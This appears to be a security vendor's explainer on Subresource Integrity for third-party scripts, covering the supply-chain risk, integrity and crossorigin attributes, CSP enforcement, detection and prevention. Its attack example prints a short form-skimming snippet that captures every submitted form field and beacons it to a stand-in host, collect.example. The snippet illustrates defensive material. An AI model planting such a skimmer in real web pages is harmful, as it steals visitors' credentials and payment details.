External scripts without integrity checking
CWE-353CWE-494OWASP A08:2021Updated September 4, 20265 min read
Anyone loading JavaScript from an external source without Subresource Integrity is blindly executing whatever that party delivers at the time. If the CDN or the supply chain is compromised, the altered code runs with full rights on your domain. An integrity attribute lets the browser verify the contents and refuse the file the moment it differs by a single byte.
A script from a CDN is one line of HTML, and with that one line you give an external party permission to run code in the browser of all your visitors, with every right your own page has. This article explains why that trust is rarely made explicit, how one compromised file reaches an entire customer base, and how a hash locks that door.
What is Subresource Integrity?
Subresource Integrity (SRI) is a browser mechanism with which you record exactly what an external file should look like. You put a cryptographic fingerprint of the contents in the integrity attribute; the browser computes the same fingerprint on fetching and compares the two. If they do not match, the file is not executed.
It is in effect a seal. You order a part from a supplier and agree what the seal looks like; if the package arrives with a different seal, it goes back unopened. What happened to it on the way does not matter, whether it was the supplier themselves, an intermediary, or someone intercepting the shipment.
Without SRI that seal is absent. The browser fetches the file and runs whatever happens to be there that day. That goes well for years, exactly as long as the external party and its entire supply chain remain intact.
How does an attack through an external source work?
The attacker aims not at your application but at what you pull in: a popular library, an analytics script, a chat widget, or the CDN delivering those files. One change there hits everyone embedding the file at once.
Vulnerable:
<script src="https://cdn.example/charts/3.2.1/charts.min.js"></script>
The browser fetches this file and runs it, whatever the contents. If the administrator’s account at that CDN is taken over, or someone manages to get a malicious version into the distribution chain, the following runs on your domain from that moment on:
// Added to the original library, in the browser of all your visitors
document.addEventListener('submit', (e) => {
const fields = Object.fromEntries(new FormData(e.target));
navigator.sendBeacon('https://collect.example/in', JSON.stringify(fields));
});
This code runs within your origin. That means access to cookies not marked HttpOnly, to the contents of every form and to the full DOM. Your own code is unchanged, your servers untouched, and nothing appears in your log files. This pattern is the core of the so-called magecart attacks, where payment details were siphoned off at webshops that had done nothing wrong themselves.
Safe:
<script
src="https://cdn.example/charts/3.2.1/charts.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"
referrerpolicy="no-referrer"></script>
The browser fetches the file, computes the SHA-384 hash of the contents and compares it with what you supplied. On a difference of even one byte the script is not executed and an error appears in the console. The altered version therefore never runs. crossorigin="anonymous" is necessary here, because otherwise the browser may not read the contents and cannot perform the check.
You can also enforce the requirement centrally, so a forgotten attribute does not slip through review unnoticed:
Content-Security-Policy: require-sri-for script style; script-src 'self' https://cdn.example
integrity attribute on a file without a version number in the path is an outage waiting to happen. If the supplier changes the contents behind the same URL, your hash no longer matches and the browser blocks the script, breaking the page. Always point at a pinned version.What is the impact of external scripts without integrity checking?
As long as the external source is intact, nothing happens and this remains a hardening finding with low severity. Its significance lies in the scenario where things do go wrong, and then the impact is close to maximal: arbitrary code execution in the browser of every visitor, on your domain, with access to sessions and form contents.
There is also a privacy aspect that is often overlooked. Every time a browser fetches a file from an external party, it reveals its IP address, its user agent and, depending on your referrer policy, the page being visited. With a service embedded on many sites, this builds a detailed picture of your visitors’ browsing behaviour, which under the GDPR is a processing operation you remain responsible for.
Finally there is availability: if the CDN goes down, your functionality goes with it. A dependency you do not control is also a dependency you cannot repair.
How do you detect external scripts without integrity checking?
A tester first inventories which external sources the application loads, scripts, stylesheets, fonts, widgets and pixels, and checks each for an integrity and crossorigin attribute. That nearly always yields a longer list than expected, because marketing tags and embedded components pull in further files of their own accord.
Then come the substantive questions. Does the URL point at a pinned version or at a path the supplier can update silently? Does the hash still match the file delivered today? Does the CSP contain a script-src permitting the whole CDN, including user-uploaded files? And does a permitted script in turn load other domains, quietly widening the chain of trust? AssistSec maps that full chain during a penetration test, including sources loaded only during use and therefore invisible in the static HTML.
How do you prevent external scripts without integrity checking?
- Host third-party scripts and stylesheets yourself where possible, so the external party falls outside the chain of trust.
- If you cannot, always add
integrityandcrossorigin="anonymous"to external<script>and<link>elements. - Point only at URLs with a pinned version number, never at a path the supplier can update.
- Enforce the requirement centrally with
require-sri-forin your Content Security Policy. - Restrict the permitted sources in
script-srcto specific domains and paths, not to an entire CDN. - Update the hash as part of the library’s regular update process, not as a separate afterthought.
- Inventory periodically which external files your application really loads, including those from marketing and analytics tags.
- Assess per external source whether it is necessary; the safest dependency is the one you drop.
Sources
Frequently asked questions
Does SRI work for files that change regularly?
No, and that is the main limitation. A hash belongs to one exact version of a file; if the contents change, the browser blocks it. For libraries with a fixed version number that is precisely the point. For a file the supplier updates silently, SRI is unsuitable and you should host the file yourself.
Why is the crossorigin attribute needed?
To verify the hash the browser must be able to read the full contents of the file. On a request to another domain that only happens if it is made as a CORS request. Without crossorigin=anonymous the browser receives an opaque response and cannot perform the check.
Does SRI protect against a malicious library?
No. SRI only guarantees you receive exactly the file you approved; it says nothing about whether that code is sound. If the version you pinned was already malicious, it is delivered faithfully. SRI covers tampering in transit, not the trustworthiness of the supplier.
Is self-hosting better than SRI?
In many cases yes. A file on your own infrastructure removes the external party from the chain of trust entirely and also prevents every visitor's IP address reaching that party. SRI is the right solution when self-hosting is not feasible, for instance with a service requiring active maintenance.
Related articles
- VulnerabilitiesCWE-693A05:2021Missing Content Security PolicyWithout a Content Security Policy the browser may load scripts from any source. Learn what a CSP does, how to build one, and which mistakes make it useless.
- VulnerabilitiesCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) lets attackers inject malicious scripts into web pages that run in visitors' browsers. Learn how XSS works and how to prevent it.
- VulnerabilitiesCWE-1104A06:2021Outdated and vulnerable componentsAn outdated library or web server carries publicly known vulnerabilities with ready-made exploits. Learn how to keep that manageable.
- VulnerabilitiesCWE-16A05:2021Security misconfigurationSecurity misconfiguration explained: how default passwords, debug modes and open cloud buckets let attackers in, and how to harden your systems.